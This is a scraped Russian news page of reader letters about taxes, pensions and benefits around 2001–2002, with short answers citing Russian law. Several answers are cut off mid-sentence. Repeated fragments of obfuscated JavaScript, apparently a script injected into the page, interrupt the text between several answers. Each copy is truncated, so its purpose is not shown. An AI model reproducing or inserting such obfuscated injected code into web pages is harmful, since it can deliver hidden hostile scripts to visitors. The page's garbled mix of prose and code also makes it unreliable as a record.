Новости
Трубицина Наталья
Работаю в ООО, которое с 4-го квартала 1999 года переведено на уплату единого налога на вмененный доход. В феврале 2002 года собираюсь на пенсию. Для начисления пенсии я хотела бы, чтобы учитывались данные о моей зарплате за последние два года. Но в Пенсионном фонде сказали, что для расчета пенсии зарплата за весь период работы предприятия на едином налоге не учитывается, так как в этом случае предприятие не платит единый социальный налог. Прошу разъяснить, так ли это.(Р. Налимова, Казань).
Представители отделения Пенсионного фонда РФ, куда вы обратились, в данном случае не правы.
Согласно статье 102 Закона РФ "О государственных пенсиях в РФ" от 20 ноября 1990 года N 340-1 с последующими изменениями и дополнениями среднемесячный заработок при назначении пенсии определяется (по желанию обратившегося за пенсией): за 24 последних месяца работы (службы, кроме срочной военной службы) перед обращением за пенсией либо за любые 60 месяцев работы (службы) подряд в течение всей трудовой деятельности.
Никаких оговорок по поводу работников организаций, переведенных на единый налог на вмененный доход, закон не содержит. Иными словами,...
Я - индивидуальный предприниматель без образования юридического лица. В начале этого года получил группу инвалидности, но деятельность продолжаю. До сих пор инвалиды налогов не платили, однако в нашей налоговой инспекции меня пытаются заставить платить НДС. Речь идет о мизерных суммах, но ведь дело - в принципе.(В. Горохов, Весьегонск Тверской области).
Действительно, с 1 января 2001 года индивидуальные предприниматели без образования юридического лица должны платить НДС с оборотов по реализации товаров, работ, услуг. Это предусмотрено главой 21 Налогового кодекса РФ. Льготы для инвалидов по этому налогу не предусмотрены.
Вместе с тем получить освобождение от уплаты НДС можно. Из письма следует, что речь идет о мизерных суммах налога, то есть размер получаемой выручки также мал. Это согласно статье 145 НК РФ дает право на освобождение от исполнения обязанностей, связанных с исчислением и уплатой НДС, если за три предшествующих календарных месяца сумма выручки от реализации товаров,...
В 2000 году я приняла долевое участие в строительстве многоквартирного дома. Тогда же бухгалтерия нашего предприятия предоставила мне льготу по подоходному налогу, предусмотренную для застройщиков жилья. Но полностью эта льгота использована не была. Сейчас в бухгалтерии говорят, что по таким вопросам надо обращаться в налоговую инспекцию, и только в конце года при подаче декларации. Так ли это? Я собираюсь переезжать на новое место жительства в другой город. Кто в этом случае будет вести учет льготы?(А.Прохоренко, Черкесск).
Суть налоговой льготы, предоставляемой покупателям или застройщикам жилья, состоит в том, что облагаемый налогом доход уменьшается на суммы, потраченные на покупку или строительство квартиры или жилого дома.
Соответствующие нормы содержались как в Законе РФ "О подоходном налоге с физических лиц", действовавшем до 1 января 2001 года, так и в главе 23 части второй Налогового кодекса РФ, которой следует руководствоваться сейчас. Однако некоторые нюансы применения льготы существенно отличаются от тех, которые были предусмотрены старым законом.
Раньше льгота предоставлялась либо работодателем, выплачивающим налогоплательщику зарплату и другие...
Объясните, пожалуйста, как будет рассчитываться налог на доходы физических лиц при получении процентов по срочным пенсионным вкладам, оформленным в 2001 году на срок не менее шести месяцев?(В.Карпов, Пенза).
До того как был принят и вступил в силу Федеральный закон РФ "О внесении изменений и дополнений в часть вторую Налогового кодекса РФ" (главу 23 "Налог на доходы физических лиц"), проценты по всем банковским вкладам в случае превышения трех четвертых ставки рефинансирования Центрального банка РФ облагались налогом в размере 35 процентов. Касалось это и срочных пенсионных вкладов.
Федеральный закон N 71-ФЗ ввел дополнительные льготы для тех, кто имеет в банках срочные пенсионные вклады на срок не менее шести месяцев. Теперь проценты по таким вкладам вообще не облагаются налогом на доходы физических лиц. Однако это касается не всех вкладов,...
Наше предприятие объявило о покупке акций у акционеров. Сначала сказали, что налог с полученной от продажи суммы, равной тысяче минимальных зарплат, не взыскивается. А все, что свыше этой суммы, облагается по ставке 13 процентов. Исходя из таких условий, сумма, полученная мною, вообще не должна была облагаться налогом. Однако с меня удержали налог со всей полученной суммы. Полномочно ли предприятие само удерживать налог с дохода, полученного от продажи акций, или это должны делать налоговые органы на основании поданной декларации о доходах? Зависит ли все это от времени, в течение которого гражданин являлся владельцем акций?(Т. Большакова, Ленинградская область).
С 1 января 2001 года большая часть доходов граждан, за некоторым исключением, облагается по ставке 13 процентов. Однако в отношении дохода, полученного от продажи движимого имущества граждан, в том числе и акций, действует правило, установленное подпунктом 1 пункта 1 статьи 220 НК РФ. Если движимое имущество находилось в собственности налогоплательщика три года и более, доход, полученный от его продажи, налогом на доходы вообще не облагается. Если движимое имущество находилось в собственности менее трех лет, не облагается налогом сумма в пределах 125 000 рублей. Все, что свыше этой суммы, облагается по ставке 13 процентов.
Однако покупающее...
Зарегистрировавшись частным предпринимателем без образования юридического лица, я открыла маленькую парикмахерскую. Доходы небольшие, так как работаю неполный рабочий день, а по соседству со мной находятся еще 6 парикмахерских. Моя выручка за январь, февраль и март составила 1695 рублей. Я плачу следующие налоги: в Пенсионный фонд 576 руб. - 19,2% и в Медицинский фонд 108 руб. - 0,2% от налоговой базы 3000 рублей. Совокупный налог - 1446 руб. Правильно ли с меня берут налоги? Получается, что я работаю для того, чтобы рассчитаться по налогам?(О. Пушкарева, Н. Новгород).
Поскольку из письма неясно, что понимается под "совокупным налогом", дать однозначный ответ на поставленные вопросы нельзя. Поэтому представим общую картину налогообложения индивидуальных предпринимателей.
Прежде всего необходимо отметить, что они могут выбрать традиционную систему налогообложения или упрощенную. В первом случае налоги платятся исходя из реальных экономических показателей деятельности предпринимателя. Налог на доходы определяется ставкой 13%. Единый социальный налог уплачивается предпринимателями, имеющими наемных работников, в размере 22,8% (из них 19,2% - в Пенсионный фонд РФ, 3,4% - в территориальный и 0,2% - в Федеральный...
Я - вдова участника войны, мой муж был работником МВД. Есть у меня номерная справка, дающая право на льготы, которыми я пользуюсь в городе. Но у меня есть дом в деревне и земельный участок. В этом году значительно увеличили налог на землю. Когда я предоставила справку в налоговую инспекцию, рассчитывая получить освобождение от налога на землю, мне отказали, объяснив, что нужна не справка, а удостоверение. Но таких удостоверений, насколько я знаю, не выдают, так как их не напечатали. Подскажите, пожалуйста, как мне быть.(Л. Старостина, Переславль Ярославской области).
Согласно статье 12 Закона РФ "О плате за землю" от 11 октября 1991 года N 1738-1 члены семей военнослужащих и сотрудников органов внутренних дел, сотрудников учреждений и органов уголовно-исполнительной системы, потерявшие кормильца при исполнении ими служебных обязанностей, освобождаются от уплаты налога на землю.
В соответствии с подпунктом 15 пункта 5 Инструкции N56 от 21 февраля 2000 года Министерства РФ по налогам и сборам "По применению Закона РФ "О плате за землю" членам семей погибших (умерших) инвалидов войны, участников Великой Отечественной войны, а также военнослужащих, лиц рядового и начальствующего состава органов внутренних...
Слышал, что ставки единого социального налога носят регрессивный характер. Иначе говоря, чем больше сотрудники организации получают зарплату, тем меньше будет размер единого социального налога, который должна заплатить за них организация. Так ли это? (В. Обухов, Иваново).
Это действительно так. Но чтобы уплачивать налог по пониженным ставкам, организация должна выплачивать каждому работнику достаточно большую зарплату. Всего предусмотрено четыре шкалы. Самая маленькая ставка единого социального налога будет применяться только в том случае, если доход с начала года нарастающим итогом на каждого сотрудника превысил 600 000 рублей. Согласитесь, мало кто из работодателей может выплачивать такие суммы.
А самая большая ставка (35,6 процента) предусмотрена для тех, кто выплатил нарастающим итогом с начала года каждому сотруднику до 100 000 рублей (то есть чуть больше 8 тысяч в месяц).
function _0x39e0(_0x2e6d70,_0x39105a){const...
С этого года действует правило: если платишь деньги за обучение, то автоматически предоставляется льгота по подоходному налогу. А могу ли я рассчитывать на уменьшение подоходного налога, если, например, плачу за обучение на курсах английского языка? (И. Семин, Троицко-Печорск).
Глава 23 второй части Налогового кодекса предусматривает, что при определении налогооблагаемого дохода граждане вправе ежегодно уменьшать его на суммы, уплаченные за свое обучение в образовательных учреждениях, в пределах 25 тысяч рублей. Но такая льгота предоставляется только в том случае, если это образовательное учреждение имеет соответствующую лицензию, которая подтверждает статус учебного заведения.
Закон РФ "Об образовании" от 10 июля 1992 года предусматривает, что образовательными считаются и учреждения дополнительного образования, в том числе для взрослых. К ним относятся учреждения повышения квалификации, курсы и другие. Поэтому...
Если подоходный налог взимается теперь по единой ставке - 13 процентов, то верно ли, что этот принцип распространяется на все виды доходов - и на зарплату, и на гонорары, и на суммы, полученные от сдачи квартиры в аренду? (В. Нестеренко, Гремячинск Пермской области).
Действительно, со вступлением в силу главы 23 части второй НК РФ налогообложение большинства доходов (в том числе и тех, что перечислил наш читатель) производится по ставке 13 процентов при любом их размере.
Однако есть и исключения из общего правила. Так, по ставке 35 процентов облагаются выигрыши, полученные от участия в лотереях, тотализаторах; стоимость призов, получаемых при участии в конкурсах и играх, проводимых в рекламных целях. А по ставке 30 процентов облагают дивиденды по акциям, а также доходы физических лиц, не являющихся налоговыми резидентами РФ (к налоговым резидентам относятся граждане, проживающие на территории РФ...
Я уже два года сдаю квартиру. В связи с новым налоговым законодательством изменятся ли налоги на такую прибыль? (Е.Михайлова, Истра).
Кое-какие нововведения ожидают граждан,сдающих внаем квартиры. Если раньше эта категория налогоплательщиков уплачивала подоходный налог авансовыми платежами к 15 июля, к 15 августа, к 15 ноября, то теперь этого делать не придется. На основании итоговой декларации, которая, как и раньше, должна будет подаваться до 30 апреля, налог надо будет платить один раз - в срок не позднее 15 июля года, следующего за тем годом, в котором был получен доход. Обязанность по подаче предварительной декларации теперь отменена.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Правда ли, что теперь налог на добавленную стоимость должны уплачивать не только фирмы, но и частные предприниматели? (К.Блинов, Копейск).
Да, это так. Согласно главе 21 Налогового кодекса НДС будут платить и частные предприниматели без образования юридического лица. В том случае, когда в течение предшествующих трех месяцев их налоговая база не превысила 1 млн. рублей, они могут быть освобождены от исполнения обязанности по уплате НДС. Это правило действует в течение последующих двенадцати месяцев.
Чтобы воспользоваться таким правом, надо обратиться в налоговую инспекцию с письменным заявлением и представить соответствующие сведения не позднее 20-го числа того налогового периода, начиная с которого предприниматель претендует на освобождение от НДС.
function _0x39e0(_0x2e6d70,_0x39105a){const...
Верно ли, что ныне не надо платить налог на дорогие иномарки? (В. Шутов, Архангельск).
Речь идет о налоге на отдельные виды транспортных средств, которым облагаются автомобили с объемом двигателя, превышающем 2500 куб. см. Это положение было введено летом 1999 года. А теперь в связи с принятием и вступлением в силу части второй НК с 1 января 2001 года отменено. В Федеральном законе РФ "О введении в действие части второй Налогового кодекса РФ и внесении изменений в некоторые законодательные акты Российской Федерации о налогах" дан перечень налоговых законов, которые с 1 января 2001 года перестают действовать. Есть в этом списке и закон, которым был введен налог на отдельные виды транспортных средств. Следовательно, теперь...
В качестве индивидуального предпринимателя без образования юридического лица я торгую продуктами из тоннара. Прежде не платил акцизы при продаже пива и сигарет. Изменилось ли что-нибудь теперь в связи с новым Законом об акцизах? (М. Попов, С.-Петербург).
Пиво и сигареты признаются подакцизными товарами. Но организации и индивидуальные предприниматели, торгующие такими товарами в розницу, акцизы платить не должны (см. главу 22 Налогового кодекса РФ).
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else...
Занимаюсь реализацией вязаных вещей, которые для меня по заказу делают надомники. Должен ли я с причитающихся им за работу сумм уплачивать единый социальный налог, если все они - пенсионеры? (Р. Поляков, Ярославская область).
Несмотря на то, что граждане, которые по вашим заказам вяжут вещи, являются пенсионерами, с выплачиваемых им сумм единый социальный налог платить нужно. Налоговый кодекс РФ при выплате вознаграждения пенсионерам за выполненные работы никаких льгот не предусматривает.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else...
Я - инвалид третьей группы. Пенсии на жизнь не хватает, торгую на рынке, зарегистрировавшись в качестве ПБОЮЛ (предпринимателя без образования юридического лица). Должен ли я со своих доходов платить подоходный налог, НДС и единый социальный налог? Или для таких, как я, есть льготы? (С. Чухно, Москва).
Инвалиды 3-й группы в отличие от инвалидов 1 и 2-й групп не имеют специальных льгот по подоходному налогу. Однако для них предусматриваются стандартные налоговые вычеты, ежемесячно уменьшающие налогооблагаемый доход. Их размер 400 рублей. Кроме того, если в семье инвалида 3-й группы есть несовершеннолетние дети или дети в возрасте до 24 лет, являющиеся студентами дневной формы обучения, то дополнительно его доход будет уменьшаться еще на 300 рублей. Такие вычеты будут действовать до тех пор, пока доход нарастающим итогом с начала года не превысит 20 тысяч рублей.
Кроме того, существуют и так называемые профессиональные налоговые вычеты....
Выйдя на пенсию, я переехал в Ростовскую область. Так как в паспорте у меня стоит московская прописка, мне отказывают в льготах для ветеранов по оплате за газ, электроэнергию и других коммунальных услуг. Почему?(С. Павлютин, г. Веселый).
Институт прописки действительно отменен. Но лишь формально. Вместо прописки введена регистрация граждан по месту пребывания или по месту жительства. Закон РФ "О праве граждан Российской Федерации на свободу передвижения, выбор места пребывания и жительства в пределах Российской Федерации" от 25.06.93 года определяет, что регистрационный учет необходим для "обеспечения необходимых условий для реализации гражданином РФ его прав и свобод, а также исполнения им обязанностей перед другими гражданами, государством и обществом...". Таким образом, поселившись в Ростовской области, вы должны здесь зарегистрироваться, и только после этого можно...
